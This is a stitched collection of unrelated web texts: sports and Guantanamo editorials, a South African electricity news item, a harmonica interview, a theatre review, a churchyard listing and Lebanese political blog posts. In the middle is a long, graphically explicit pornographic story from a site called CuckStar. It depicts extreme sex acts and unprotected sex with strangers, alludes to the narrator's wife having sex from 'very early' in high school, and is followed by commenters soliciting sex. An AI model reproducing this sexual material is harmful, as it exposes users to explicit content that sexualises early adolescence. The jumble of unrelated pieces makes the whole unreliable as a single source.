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Editorial: The Astros cheated. Now they're punished — and disgraced
Houston Astros manager AJ Hinch watches during Game 5 of the World Series against the Washington Nationals on Oct. 27, 2019, in Washington. (Patrick Semansky / AP)
Cheating is an ever-present temptation in sports. It can spell the difference between winning and losing, or even between making the big leagues and not. In recent decades, Major League Baseball, the National Football League and the National Basketball Association have had to cope with players using performance-enhancing drugs to gain an edge.
Strict rules and testing have discouraged such efforts. This past season, four major league ballplayers were each suspended for 60 or 80 games for violations. But such enforcement has yet to eradicate the pursuit of illicit advantages — or the danger it poses to the integrity of sports and the trust of fans.
The Houston Astros are now stained by baseball's biggest scandal in years. In November, Mike Fiers, an Oakland pitcher who had played for the Astros, told reporters for The Athletic of a system to steal catchers' signs with a video camera in center field — information transmitted to the dugout by various electronic means. Players then used signals to inform the batter, usually by banging on a trash can.
Flashback: How 8 White Sox players fell from grace and were forever marked the Black Sox »
This scheme operated in 2017, when Houston won 101 regular season games and the World Series title. The Astros used similar tactics again in 2018.
After an investigation, Commissioner Rob Manfred came down hard on the club Monday. He suspended general manager Jeff Luhnow and manager AJ Hinch for the 2020 season, stripped the team of two first-round and two second-round draft picks, and levied a $5 million fine — the highest allowed. Former bench coach Alex Cora also faces penalties, though his fate is in limbo until the conclusion of a probe into similar allegations against the Boston Red Sox when he was their manager. The Astros responded by firing Luhnow and Hinch.
Sports are supposed to be a forum for honest competition, where skill, savvy and grit determine the outcome. The methods used by the Astros are the antithesis of that concept. As Fiers said when he came forward, "That's not playing the game the right way."
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Fans may differ on whether the punishment in this case is sufficient for the crime. We would have preferred to see penalties also applied to the players who were most culpable. Officially revoking the team's 2017 World Series title would have been an especially emphatic punishment. But the verdict is stern enough to be a significant hindrance to the Astros in seasons to come. And it should serve as a strong deterrent to anyone who would devise new ways to get around the rules.
The Astros may eventually recover from this self-inflicted wound. But the disgrace will be permanent.
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The hunger strike by inmates protesting conditions at the Guantanamo Bay detention facility in Cuba is forcing the Obama administration to revisit its policy of indefinite detention without trial for terrorist suspects. It's about time. As Mr. Obama noted Tuesday, the current policy is legally and morally unsustainable, and continuing it damages America's standing around the world without making the country any safer. The president needs to finally make good on his 2009 pledge to close Guantanamo, repatriate low-risk detainees to prisons in their home countries and bring the rest to the U.S. for trial.
About 100 of the 166 inmates held there are reportedly engaging in the hunger strike, including 21 who are being force-fed to keep them alive by means of tubes inserted through their nostrils and down their throats. Human rights and physicians groups charge that such force-feeding is a form of abuse akin to torture and that it violates medical ethics.
This hunger strike is the only thing that seems to have been able to get the president's attention since Congress blocked his initial effort to close Guantanamo and restricted the use of federal funds to move the detainees elsewhere. Congress imposed those restrictions on the grounds that the presence of suspected Islamist terrorists on U.S. soil posed an unacceptable risk to Americans. But its real objective seems to have been simply to thwart the president's ability to fulfill a campaign promise and to create a festering crisis to blame him for.
There's no reason that the majority the Guantanamo detainees can't be held safely at the maximum security facility in Illinois where Mr. Obama initially planned to send them, nor is there any reason why they can't be tried and convicted in U.S. federal courts, which have already passed judgment on dozens of other terrorist suspects and sentenced them to lengthy prison terms. It's absurd to claim the Guantanamo detainees might have a better chance of escaping from a federal Supermax-style prison than any of the thousands of other prisoners held there, or that their presence in the U.S. would make the country any more inviting a target for terrorist attacks than it already is.
The president already has the power to repatriate low-risk detainees to their home countries, where they could either be rehabilitated or remain under detention by local authorities. About 56 of the 86 detainees who were designated as low-risk candidates for potential transfer in 2010 are from Yemen. That's posed a sticking point for the president because of fears that a branch of al-Qaida operating there might seek to free detainees released from Guantanamo by attacking government facilities or through hostage-taking. But California Sen. Dianne Feinstein, the chairwoman of the Senate Intelligence Committee, recently suggested that the U.S. could help Yemeni President Abed Rabbo Mansour Hadi, a staunch opponent of the terrorist group, build up his security apparatus sufficiently to safely send the Yemenis back.
Mr. Obama's assessment of the situation was right on the mark when he told reporters that "it is crucial for us to understand that Guantanamo is not necessary to keep America safe," and that the expense of maintaining it eats up government resources that could be put to better use. There are a small number of high-risk, high-value detainees, perhaps 15 or so, whom the government considers too dangerous ever to release but who cannot be prosecuted in U.S. courts because there is not enough evidence to convict them, or because they were tortured by the CIA before their arrival in Guantanamo.
The hunger strike at Guantanamo has put but all these issues back on the president's radar. Mr. Obama will have to carefully consider his options regarding what to do with the highest-risk detainees, which may include shipping them off to a country that is willing to detain them indefinitely. But the cost of maintaining the Guantanamo facility — both in dollars and in diminished moral authority — is simply too great. It must be closed.
What about Obama's broken promises?


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More houses powered up at Humansdorp
Kouga Infrastructure and Engineering Portfolio Councillor Freddy Campher and Director Victor Felton prepare to switch on the electricity to a further 53 houses at the Kruisfontein 391 RDP housing development.
A further 53 households at Humansdorp received electricity for the first time this week, with almost 200 more to follow over the next two months.
Kouga Infrastructure and Engineering Portfolio Councillor Freddy Campher switched on the electricity to 53 houses at the Kruisfontein 391 RDP housing development on Monday.
The switch-on was part of a R10-million project to install electricity to the remaining 237 houses at the development.
The power to the first 154 houses was switched on in July last year.
"Electricity has a life-changing effect on the general livelihoods of people. That is why the municipality has left no stone unturned to ensure that these residents do not have to go through another winter without electricity," Campher said.
"We are happy that we could keep our word and that the electricity to a further 53 houses has been switched on. More than that, we are pleased to see how happy this has made the beneficiaries."
He advised residents that certain upgrades and new installations still had to be done before the remaining houses could be connected to the grid.
"As a result, there will be a series of shutdowns over the next few weeks.
"We ask that residents who were just switched on don't get a fright when this happens. It will only be for a few hours on the relevant days to allow the contractor and municipal teams to complete the project."
The relevant dates are 10 May for the removal and re-installation of an auto recloser and switch, 15 May for the installation of a new MV cable and pole, 26 May for the installation of two new auto reclosers, 29 May for the tie-in to the existing line so that three new transformers can be energised, and 2 June for the installation of three new switches.
A further interruption will follow later in June for the installation of a new feeder panel at the substation.

redpajama_set_name: RedPajamaCommonCrawl


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Getting Started with Position Playing (Q&A with Scott Albert Johnson)
By Justin Norton
Written by Justin Norton on June 14, 2019 . Posted in Blog: Harmonica Articles, Harmonica Players, How to Play the Harmonica, Learn About the Harmonica
Scott Albert Johnson is no stranger to the readers here. He was selected as our Harmonica Player of the Month and participated in our video tutorial series at SPAH several years ago (see video below). When we thought about who might be able to break down position playing to help people who might have only played in cross harp (second position) he was one of the first people who came to mind. Johnson was nice enough to walk us through his thoughts on playing in multiple positions and elucidate position playing for new players.
At what point in your journey did you discover position playing or did you start with it right away?
I think I discovered it from the get go but I didn't understand it. I didn't come to the harmonica like a lot of people do. I played bass in bands in college and was a singer for a long time. Playing a harmonica was not my lifelong ambition. There are two ways people come to the harmonica. They are either trying to enhance their singer-songwriter performances with rudimentary playing, or they are trying to be a blues player and emulating Little Walter and Sonny Boy. I didn't come from either of those angles. I was just trying to learn melodies or follow guitar solos. I didn't know there was anything else but straight harp (first position, where the root note is four blow, seven blow and ten blow). A lot of times things wouldn't sound quite right. I'm not sure if I stumbled upon cross harp (second position) on my own or on the Internet but that opened my eyes to how people played blues. I was also doing things like trying to figure out Widespread Panic songs or songs in minor keys. I would try to find the harmonica that sounded the best for whatever song we were playing.
Sonny Boy Williamson: "Trust My Baby" in first position
When many start their journey on this instrument they learn, copy and use the vocabulary.
For the most part, I wasn't doing that. I came to this with some musical background and a solid ear. I could tell if what I was doing sounded good even if I never heard of positions. Back then, I was even playing cheap harmonicas. I could get all the keys for $20.00! I became obsessed. I quickly figured out straight harp and cross harp (first and second position). In blues, cross harp (the root note is the two draw, six blow and nine blow) is the most common, followed by straight harp, then third position (the root note is one draw, four draw and eight draw). What I did was get one of those position charts that would tell you what position you're in. The theory and the labeling came after the intuitive part.
It sounds like you benefitted from coming in with a baseline of music knowledge. You came into it thinking "I want to make music" rather than "I want to play the harmonica."
That's a great way of putting it. I don't think of myself as a harmonica player. Maybe I'm brainwashing myself, but it's just something I use to approach the music I want to make. It's probably fair to say I am a frustrated horn player or guitar player. On the other hand I really do love the instrument or I wouldn't have spent so much time on it (laughs). I also have so much respect for the harmonica players who are more traditional. I love what guys like Kim Wilson and William Clarke do. It's just not the music in my head.
John Popper "Brother John" solo in second position
John Popper wrote in his book ("Suck And Blow") about how harmonica players are often like a lost tribe rather than musicians who do what would be expected of other musicians.
I read the book too, and I totally agree with it. He has a unique voice on the instrument. I will say there is a little part of me that gets up and wants to push past conceptions others might have of harmonica players as musicians. It's an instrument and, if you try to approach it with a blank slate, the possibilities are endless, and that's a better way to approach music. I can now listen to my playing seven or eight years ago, and while I might only be slightly better, technically I'm much better about knowing when not to play. I think there's just a never ending process of evolution for anyone.
For players who don't have a musical foundation, how would you suggest getting started with position playing? A lot of people just start in first playing folk songs or they will begin basic blues in second position. Is it worth thinking of positions at first or should you get a solid grasp of one position and build from there?
I teach a beginning harmonica class at Millsaps College in Mississippi. I think right away you should know straight harp and cross harp and start dabbling in both. It gives you a better conceptual understanding of the instrument rather than play this hole blowing out and this hole blowing in for Twinkle Twinkle Little Star. This is only a four-week class, but I show them what straight harp is and how to play single notes. I introduce a major scale. In the same lesson, we go over Twinkle Twinkle Little Star. I write the tabs on the board and ask them to figure out the rest. In that same first class, we do a breathing exercise on holes 1 2 3 and I explain to them that it's a good breathing exercise and also a good basic introduction to blues.
I'm trying to get into their mind that a harmonica can be used for more than a campfire and blues songs. I want them to know it can be used for both of those things as well as other things like minor key songs. If someone just strictly wants to play folk songs then learn it simply. But that doesn't give you the foundation that a broader understanding does. I have a friend named Arthur Jones who is a great Chicago style blues player. I have him come to class to demonstrate amplified harp. His style is very traditional. I think it's very good for beginners to hear that but I don't try to communicate that it's the only way. There's no one right way to do anything.
What do you like about each of the most common positions (first, second and third)? What are some of the strengths of each?
I think each position has its own personality. First position has a voice to it that is very melodic and can even be jazzy when you put overblows in. But it's not as jazzy as twelfth position. Cross harp is more rhythmic because of that chugging on the lower holes. Beyond those personalities, each position has things it does well, particularly with the bendable notes. I often think about the notes I can use to be expressive. In twelfth position, the five draw is my root, and the six draw sliding into the five gives me this jazzy sounding lick. That's something I really enjoy doing. I gravitate to a particular sound in the moment and then stick in that position unless I think of something I want to do that's different. I'm familiar enough with all the positions that I almost don't think about it consciously. If you have a good handle on these positions then nothing will be "wrong." I can play a melodic song in second or twelfth and make it musically correct.
Anyone who gets a decent handle on positions won't stink it up or make it cacophonous. That is very freeing when it comes to improvising. It all becomes what is emotionally resonant when you improvise.
People definitely have preconceptions about positions based on how the instrument has been played in certain contexts. For example, in first position, people think very bluesy sounds on the low end or Jimmy Reed on the high end. I found first can be played with a light, fun touch when we do ragtime songs or country blues (see video above).
I've never looked at the harmonica with the same mentality as many who immediately set out to learn the national anthem of the instrument Juke. It's a great song, and it IS worth learning, but I liked to think how what Little Walter played might work in what I was playing.
"The Deb" harmonica instrumental in fifth position:
What are your thoughts on more exotic positions, particularly sixth through eleventh? Fourth and fifth can work very well for minor key music, but except a handful of players, 6-11 seems like uncharted territory.
I've dabbled in sixth and eleventh and think there could be a use for both. They are certainly not as exotic as seventh through tenth. There are probably a handful of people who use those positions in any sort of fashion. Sixth makes sense for Middle Eastern sounding music and eleventh could work for jazz. If you overblow there is nothing illogical about sixth – I just haven't worked with it. When I do decide to attack that, it will be the same thing as the other positions which are first through fifth and twelfth. I think of a song that lays out well in a particular position and learn it. I always got my head around a certain position by doing songs in that position. I do Summertime a lot, and I play third, fourth and fifth. Once you get adept at overblows and overbends, you can make these positions work. It just takes a little more mastery of techniques to make those positions work, but then you have a bigger palette.


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CUCKSTAR COMMUNITY
A (partially) fantasy story
high_top_01
That's my story.
in small part it is the fruit of imagination, but for the most part it is true. For consistency, since there are elements of fantasy, I think that this story is to be classified in any case as a work of fantasy.
The names of the people (which all exist, really) have been changed to avoid problems. The facts are real, and in some cases they were a bit exaggerated, but only a little bit.
I am 22 years old and married my wife 3 years ago.
I met my wife Angela in high school. We immediately liked each other.
We started dating and had sex the first time we went out together.
On one of our first dates, he sent me a message that he was going to be late. I waited for her, ready to fuck her, when she said to me, as if it were a normal fact "I just had sex with 2 other guys. Is that a problem for you?"
It made me very excited. He told her that I was looking forward to licking her and she was really happy.
We've been together ever since.
She told me all about her sex life, which started very early. Since she started, she had discovered that she was insatiable. When a man was not available, she used bananas, salami, zucchini or other objects. The only person who really knew everything about her, from the beginning, was Veronica, her best friend, whom she has known since they were children.
Veronica often participates in our sexual activity. She is also the most perverse person I know in bed. In fact, while Angela simply loves to get fucked, Veronica is more on the "strange" side. Among other things, Veronica is dedicated to extreme penetrations.
Angela has grown up. Now she has a beautiful slim body, she's 1.79 tall, she weighs 64 kg, with a beautiful ass (not big, but really nice). It's a shame she's a little boob girl. Brown hair and eyes and a skin with a beautiful scent. For those interested in knowing its internal measures, know that, practicing daily vaginal and anal sex can have relationships with men of all sizes. She defines herself as "a sex athlete in constant training". I think that, since she started, she has never been 24 hours without fucking. Since she is truly insatiable, we have several dildos at home, for when I too am totally exhausted and there are no other men available. Yet I regularly have at least 4 full reports a day.
We both did very well at school. Now she's a vet student, close to graduation, I work in my father's company.
Angela has always been very neat and precise. She keeps a diary of all the meetings she has, complete with every detail, from the first time. Now she also has a database on her computer, which contains all the details of every man she's fucked with, the history of her intercourse, her preferences and the telephone of each of them. I almost always update him, especially when he calls me to give me details about some stranger he just had sex with.
Everyone Angela has sex with, without exception, ends up in our database.
Currently there are just under 2000 men in the database. The sad thing is that more than half of them are on the blacklist. In the black-list end all those who are powerless or dirty or exceptionally poorly equipped (below 5 cm in circumference and / or 10 cm in length) or sick or too old for the tastes of my wife. We also have a golden-list, in which there are particularly good and/or resistant bolts.
Beauty and size do not matter much: Angela is exceptionally elastic and can enjoy very well both in pussy and in the ass with men with little talent, such as Archangel, only 12 cm x 9, as well as with extremely gifted bolts, such as a Brazilian boy, Lorenzo, who has a member 31 cm long and 27 cm in circumference and, unfortunately, now lives abroad as a porn actor.
Angela has a very precise work schedule: on Tuesday and Thursday afternoons and on Saturday mornings she dedicates them to meetings with new lovers, in order to integrate the list of valid lovers. If any of them is valid, we put him in the list of bolts, otherwise he ends up in the black-list and we do not meet him anymore.
The other afternoons you meet with his lovers already tested, usually at least 2 or 3 per day. The night is almost always just for me, subject to exceptions, in which we invite some bolts in our house. In the house we have 3 large bedrooms: one is the one we usually use, the second, a little smaller, which usually uses Angela if she has to have sex with some lover who does not like to do it in front of me, and another room with 4 large beds for any guests (or as a place to rest the bolts while we fuck with others).
Angela always walks with a box of condoms in her purse and, if she meets someone in the street who she likes, she almost certainly gets fucked. To have sex with our lovers (there are also my lovers) less close, especially with strangers, we have a very discreet apartment and easy enough to reach from home.
In our house come only Veronica, a few really exceptional bolts with which to spend the night and some friends.
Here we are yesterday morning.
It's Saturday. This morning Angela has an appointment with 8 new lovers. Veronica was invited to stay for lunch, watch some porn movies and spend the night with us.
Veronica is pretty, a bit short, and has a good figure, but she can't compete with Angela. Absolutely no tits, but she has an immense ass, but she's not fat.
In bed it's really perverse. Just as Angela is an athlete dedicated to fucking as many men as possible, so Veronica is an athlete dedicated to dilating her holes beyond all limits. Whether they're men or objects, the important thing for her is to get fucked up more and more and achieve incredible measures. I believe that very few porn stars can compete with her.
I spent the morning with a friend of Angela's, Marina, married and pregnant, who really likes to fuck me. By the way, she's pregnant with me.
I'm turning my cell phone back on. One of our rules is that, during sex, you don't use the phone.
I find a message from Lorenzo, the Brazilian bull megadog. He's back in Italy and wants to come and visit us (i.e. fuck Angela), if that's not a problem, with two of his fellow porn actors. Well. It's an opportunity to surprise my wife. I give him an appointment for 4 pm.
It's 1 p.m. The bell rings. It's Veronica, with a pretty heavy backpack. First he takes off his clothes. While we wait, we have sex. Veronica, unlike Angela, who looks almost like a virgin for how narrow she is, is very wide in all the holes.
After I've come inside her, she takes two big plugs from the bag and slips them into her vagina and anus to keep her sperm from coming out. We have just finished, that Angela returns home, dark in the face. Even black. She gives a French kiss to Veronica who replies: "you just gave a blowjob!"
"Sure. And he was also a beautiful boy. I saw him at the bus stop waiting for the bus and I thought I'd give him a ride. Really a wonderful cock. I only gave him a blowjob, but he literally drowned me. I marked my phone and the other news that (addressed to me) please you have to enter in the database, along with the data of the other 8 who were worth nothing.
Let's have lunch. When we finish eating, we go to the bedroom. I didn't say anything about Lorenzo and his friends. Angela asks me if I can contact some valid bull to get fucked at least in the afternoon.
Veronica lies on her back and widens her pussy, taking off her plug. Angela smells my cum and starts licking it.
She looks at me and, smiling, makes me: "you betrayed me with my best friend!" and we all burst out laughing.
Veronica asks how the day has been
"sucks," replies Angela. "I had 8 appointments: 3 didn't show up, 2 were powerless, 2 came in less than 10 seconds and one was dirty, stinky and poorly equipped. It's a good thing that on my way home I saw a cute little boy waiting for the bus. I gave him a lift and also gave him a blowjob. Beautiful, gifted and durable. Too bad he only thinks about his girlfriend. Anyway I have his phone and I will call him. And what about you?
"I'm getting hornier and hornier. I bought a huge dildo, and I wanted to use it with you! How are you doing?"
"I set my new personal negative record. This week, out of 21 new aspiring bolts, I had to put 21 on the blacklist. 100%. The worst week I can remember".
Veronica takes the second plug out of her anus and extracts 2 gigantic dildos from the bag.
Now Angela stands at 69 on Veronica's face, who begins to lick it and, in the meantime, begins to insert a hand into Veronica's anus.
At this point I come out of the bedroom. I know very well that the two friends, when they fuck together, prefer to be alone.
I take advantage of this to organize the afternoon with the other lovers of Angela.
Unfortunately, being Saturday afternoon, most of them are already busy. I find only 5. Good thing Lorenzo's here.
I give everyone an appointment at 4:00 a.m. In fact, there is ¾ of an hour left. I was lucky.
I hear the girls moaning, especially Veronica. I open the door. Veronica is sucking Angela's clit, which holds all her hand stuck in her friend's pussy beyond her wrist. They don't mention stopping. Poor Angela must be particularly horny, due to the lack of sex this morning.
A few minutes to 4, and Lorenzo arrives with 3 friends. Lorenzo explains to me that there is an extra friend, he is also a colleague of porn movies, even more endowed with him. I don't mind at all.
I'll have them sit in the second bedroom and tell them to stay quiet to surprise my wife.
After a while, one at a time, the other 5 friends come. In all, it's 9 bulls. I have them all moved to the third bedroom, where at least they can lie down, and rest, while I prepare refreshments.
Veronica calls me in a weird voice. I find her on the bed, lying down, with one hand of Angela in pussy and the other one in her ass. Angela is standing in front of her, with a dildo in her pussy.
"I've come like never before in my life," says Veronica. Angela smiles, but I see in her eyes that she is not serene at all.
"With such wrecked holes, how can I fuck you now?" I ask her.
And she "in my peehole !". Not a bad idea.
I detach Angela from Veronica and accompany her to the bedroom with the bolts. "There's a surprise for you," I tell her, opening the door. The 9 guys are all there, someone on the bed, some other sitting, some standing. All very big. One of them, Lorenzo's friend, is monstrous. His cock is as big as an arm at the elbow, even if it's only about thirty centimeters long.
It's something to make Veronica faint. Better not to tell her anything, otherwise my fuck with her ends up before beginning: she would throw herself headlong on the beast.
Angela throws me a look of thanksgiving and throws herself on the bed. I think she'll destroy them all. I'm going to Veronica's.
I find her on the bed, with two huge dildos in pussy and ass. In the hole of the pee, however, she is masturbating with a dildo of almost normal size. She's about to cum. I look at her.
As soon as her orgasm calms down, I throw myself on her. I take the dildo out of her urethra and I put my dick in it. Needless to say. Veronica's urethra is much wider than the cunt of a normal woman.
Anyway, we spend 3 wonderful hours fucking.
We enter the living room. From Angela's bedroom we could hear the sound of a fuck. Veronica says "but Angela's lover is tireless" "They are really 9 lovers. But don't worry. Angela will certainly destroy them all." "I want to see". and enters the room.
Angela is on all fours on the bed, squatting over a guy who's fucking her pussy. Lorenzo is busting her ass and a third is her mouth. The monster boy is lying on another bed with his limp dick .
Veronica, who has radar for big dicks, heads straight for him and, in no time at all, makes his cock stand up and shoves it up his ass. Needless to say, he takes it to the last centimetre.
All that's left for me to do is watch.
Finally they stop.
Angela has sperm in her hair, a bit all over her body and pussy and ass are dripping.
Veronica gets out of bed and, turning her back, greeting me me with the sight of her dilated anus.
Finally I see Angela relaxed.
The boys all go away, one by one. Angela and her friend stay on the bed with wide open legs. I have the immense pleasure of cleaning them perfectly with my tongue.
We go out for dinner. Angela takes the opportunity to fuck the waiter of the restaurant, while Veronica hides a bottle of water half a liter (I think) in her pussy.
I take Angela to the bathroom to lick her afterwards. In the heat of the moment she hasn't even used a condom. The pizza is great.
When we get home, Angela would like to be fucked by me. But I can't have sex it anymore. Since this morning I've come too many times. The girls, on the other hand, spend a really hot night.
Today, Sunday morning.
Sunday is the only day we don't plan anything. I wake up late, rested.
I'm alone at home. I find a note from Angela: "Love, I saw you sleeping like an angel, I didn't want to wake you up. I want to try to make up for yesterday's morning, which was a real disaster. I had an appointment with yesterday's bus guy, and in the meantime I gave another one to another beautiful guy, Alberto18, who has already been in the database for some time. I'll be back for lunch. If you want, this afternoon we call some friends . I want to get fucked in front of you."
And so, also Sunday has been planned.
That was so hot!!
Can tell me which part you mostly like ?
lunaeclipse
Great story loved the details baby 😘
karencougar61
Any pictures or videos by chance? lol
696969dcdcdc696969
I would love to fuck u babe
© 2020 CuckStar


Play defining words from a mother looking on with baffled despair at an unapologetic son accused of defacing a mosque.
Parent against Parent against Teacher against Mother against Father against Child and all possible combinations against social expectations of class and decency, Fury leaves us like a troubled jury playing witness to unsettling clashes of unfolding revelation. With exploration of conscience and propaganda, this is a sharply observed, clever and disturbing drama.
Deftly staged on Chloe Greaves well pitched design, directing duo Brett Cousins & Ella Caldwell have pushed their cast to ensure the pulse of Fury never falls below rapid.
Joe Petruzzi and Danielle Carter are well cast to hover between love and contempt. Scratching at themselves and each other to source blame, we see a well-connected portrait of a marriage traversing self-interest and the magnitude of legacy.
Feeling at times like callers trapped in the echo chamber of talkback radio, Chris Connelly and Shayne Francis deliver insightful alternate commentary and social contrast as parents to an accomplice vandal. As Alice, Shayne Francis is standout. Deadpan funny, subtle and stinging, this is a measured performance worthy of note.
As a voice of occasional reason, Dushan Philips provides bitterly amusing indifference and philosophical balance as a knowing teacher in a biased and distorted system.
Sadly, the near daily occurrence of US School Shootings makes the role of Joe in this play seem alarmingly familiar. Perfectly landing this complex character, Sean Rees-Wemyss combines knowing menace with youthful naivety. Sean's capacity to intelligently deliver uncomfortable hate speech is testimony indeed to the sophisticated choices made by this talented young actor. A disturbing and mesmerizing performance!
Credit in abundance also to The Sweats for a present and powerful soundscape that amplifies tensions throughout by seemingly hovering on the brink of actual ignition.
Questioning the integrity of the ubiquitous sword falling apology for an increasingly easy to offend society, Fury has as its device, an intelligent, articulate and privileged teenage vandal. At a time when a few ill-chosen words can pulverize a career and irrespective of buoyancy, you probably are a witch – this is an extraordinary play that Red Stich could not have timed better.


Location: Situated above and some 125m NW of Mwnt beach under Foel y Mwnt.
Rectangular church yard of C13 church surrounded by rubblestone based embankment eroded on N. Rendered outbuilding with imitation slate roof in SE corner. Entrance through two rounded and whitewashed rubblestone piers with iron spear-headed gate.
Listed for group value with Church of the Holy Cross.
Situated in an isolated position between Gwbert and Mwnt some 500m inland.


text:
Iza Fakkarna
All Ideas Count
Lebanon's Revolution is Not a Revolution
General, Politics
Photo from The Washington Post
Written by Farah Khalil Yachouhi – October 28, 2019
In Talk of the Nation (2011), Simon Schama, a professor of History and Art History in Columbia University, couldn't have said it any better: "If you are too carnival-like, and you actually don't redirect and harness all that popular energy strategically against the institutions of power, you end up, actually, sitting in your own prison. It looks like a carnival, but actually, life goes on around you, and you become a kind of museum of failed revolutionary energy." Some are referring to the Lebanese Revolution as the biggest revolution the Middle East has ever seen. Let's be realistic here and look at the facts. What we are witnessing in Lebanon is definitely a phenomenon the Lebanese people has not seen before, but this uprising despite its new record in scale is not a revolution.
What does it take to have a successful revolution? First, let's define the term revolution. The classical definition in any English dictionary is the overthrow of a regime to replace it with a new one (Oxford). Second, we should understand the components of a revolution. History has recorded many uprisings of peoples against their ruling class, but not all uprisings are revolutions. Among the most famous revolutions in history are the French, Russian and Iranian revolutions in 1792, 1917 and 1979 respectively. The conditions that produced the three mentioned revolutions are very similar. They set the baseline for having a successful revolution. In her book State and Social Revolutions, Theda Skocpol (1979) argued that the conditions under which a revolution usually occurs include an extreme disconnect and ever growing gap between the social and the political, inefficient administration, crippled economy on the brink of bankruptcy and weak military capabilities.
In Lebanon, the people are expressing a sentiment of disconnection between the political elite and the citizens that took to the streets twelve days ago. The alarming lower voter turnouts one election after the other was ignored, when it was a clear sign of the increasing dissatisfaction of a growing portion of the Lebanese population towards the candidates running for office. The number of Lebanese citizens who do not identify with the ruling class has been growing for the last few decades. Another factor that produces a revolution is inefficient administration, where the elected government is too divided and consequently too slow in delivering solutions for reform and executing them. This tarnishes its credibility in governing the country. Also, it is no secret that Lebanon has feeble military capabilities. Lebanon ranks 118 out of 137 countries considered for the annual Global Fire Power (GFP) review that measures the power index (PwrIndx) by considering more than 55 individual factors.
Now that we have established that all three elements that create a fertile environment to spark a revolution are present, we can go back to ask the question: What makes a successful revolution? Revolutions require both a philosophy, and a clear understanding of the current system and tactics. The idea of a revolution cannot materialize without a clear course of action lead by a committee of educated citizens, who have sufficient pragmatic knowledge about the mechanisms of governance. Educated does not simply mean having a degree in some higher education, but a real knowledge in the functioning of the governmental engine. This knowledge will simply allow the many to zoom in and target specific gatekeepers to apply pressure on the current government in order to achieve the desired results. It will also allow the Lebanese people to transition from the current governmental structure to the new one in a more efficient way. In Lebanon, we see that the idea and the desire for a new regime is there, but no "intelligentsia" is leading the revolution strategically.
Lastly, in a revolution, the people must have a single unified voice. That is not what we are seeing in today's protests. Less than 25% of the population, gathered to protest against the current government. Although some opportunists tried to ride the wave of the people's uprising, anger and misfortune. However, what is clear is that the momentum of the Lebanese revolution is slowly but surely decelerating and the initial seemingly unified energy is now dispersing. Some citizens opposing the fall of the regime took the streets in the last couple of days of the so-called revolution to express their support for the current government. With that said, The Lebanese so called revolution is not a revolution. It is a spontaneous protest that has gained momentum and on the road to going rogue.
Iza Fakkarna Sawa:
October 28, 2019 October 28, 2019 izafakkarna 2 Comments
An Intellectual Revolution: It's Time!
Culture, General, Politics
By Farah K. Yachoui
How far are we from feudalism? It is when one is granted an estate in return for one's service. How is granting any other type of support in exchange for service any different? Some call this Tutelism, from tutelage, which is a form of guardianship that gives one entity authority and power over another. It is an evolved and adapted form of feudalism that dominates our social structure.
Why is it that every public protest turns into a circus of protesters, a sea of little Lebanese flags and of sarcastic signs and posters that serve for nothing but entertainment? How do we become a more results driven crowd? Do we need to revolutionize our thoughts and subsequently our actions? Is it time for an intellectual revolution?
Tutelism is at the root of our long history of political corruption. How is that? Economic hardship combined with poor intellect are what fuel this system. Financial and other types of support are guaranteed in return for loyalty and service to a particular ethnic group or religious sect or political party. Political corruption strives on economic hardship and uncultivated minds.
Theda Skopol wrote in her book, "States and Social Revolution: A Comparative Analysis of France, Russia and China", that social and political revolutions go hand in hand because one of the main factors for the occurence of either is the existence of severe socio-political conflict along with an inefficient administration, an incompetent military body, constant exploitation of the working class and a challenging environment for raising resources.
All of these elements exist in Lebanon. However, it seems that the people have kissed the dream of socio-political change goodbye a very long time ago. What is inhibiting this change from taking place? The "ruling" political parties do not entierly depend on the people for resources. Rumor has it that, at least financically, global powers of opposite polarities are supporting them. The people became increasingly dependent in seaking support from the parties to whom they believe they belong to depending on the region and their religious sect. Over the years this phenomenon became part of their education: Loyalty and service guarantees support and a decent future!
The "ruling" political parties are resourceful and confident that the current social struture and the poor level of intellect of the majority of the population will always be to their benefit. The only way people will start demonstrating resistance is when they become open to reshaping their knowledge, broadening their horizons and freeing themselves from their "tutelary" lords. Our only salvation is an intellectual revolution!
https://www.pinterest.com/source/theloveofaalpha.tumblr.com
1. Twinning Towns: A Lebanese Dream
2. Primitive Societies Were Not So Primitive!
3. Modern Colonization: A Subliminal Invasion
4. Look Who's Back: A Political Reality
5. Nation or Nationalism: Which Came First?
6. The Phoenicians Did Not Invent The Alphabet
7. National Unity: An Automatic Response
July 18, 2016 July 29, 2016 izafakkarna Leave a comment
Look Who's Back : A Political Reality
Random scrolling through Netflix accidentally ended in watching the German comedy "Look Who's Back". Although based on Timur Vermes's political fiction where Hitler in flesh and bone returns to our modern world, this movie strikes me more as a portrait of a political reality. (Watch the trailer)
What fascinated me about this comedy is how it proposes the idea that a conciderably strong federal republic with a democratic form of government, as opposed to commonly targeted non-democratic unitary states, is presented as a fertile medium for the rise of a charismatic figure with nationalistic pride and possibly a metamorphosed form of totalitarianism. J.L. Talmon called it totalitarian democracy, an oblivious and self-inflicted subjugation where the citizens of such a state support their government even when recognizing its uselessness. Vermes suggests that the people are tired of sedating politics. They are ready for leading politics. It is a popular belief that totalitarian regimes cannot be born from democracies. How true is that?
When interviewed, the author Vermes said, "most people wouldn't think it possible that if they would have lived back then they would have thought he was in some way attractive too". How did Hitler become popular again in a world that condemned him a criminal of war?
He studied the situation at hand. He gathered knowledge, toured the country, observed and interviewed the people. He listened to their stories! Among the things he noted were child poverty, old age poverty, high unemployment rates, lack of social harmony, opportunistic politicians, some form of public conformity and a dormant nation that is seemingly sedated by the non-sense that is continuously broadcasted on television and mass media. How many of us can agree that this is a reality we are more or less all living in? Is modern politics paving the way for a new Hitler?
In "Look Who's Back", Hitler shifts focus from investing in the military body to invading the minds of the people, mainly our youth. They are the future of the nation. Any nation! He becomes an overnight TV sensation! They mistake him for a comedian, but it didn't matter. He only needed the raw minds of the people who have been in the dark for so long, who have been washed into forgetfulness and who are willing to listen. Who is the modern world Hitler? Is Hitler an individual, a societal force, a non-profit organization or a political institution? Or is he all of the above?
let us know what you think? What are your thoughts on the modern world politics in relation to totalitarian democracy? Is the Forth Estate an independent body that is spiraling out of control? Click on leave a comment below.
April 28, 2016 May 4, 2016 izafakkarna Tagged Comedy, Democracy, Hitler, Look Who's Back, nation, National, Political fiction, Political reality, Totalitarianism	Leave a comment
The Phantom of Socio-political Change
The Dark Dance
Tolkien's Five Armies Are Real!
izafakkarna on Lebanon's Revolution is…
Elias Haddad on Lebanon's Revolution is…
izafakkarna on Twinning Towns: A Lebanese…
Ginger tea on Twinning Towns: A Lebanese…


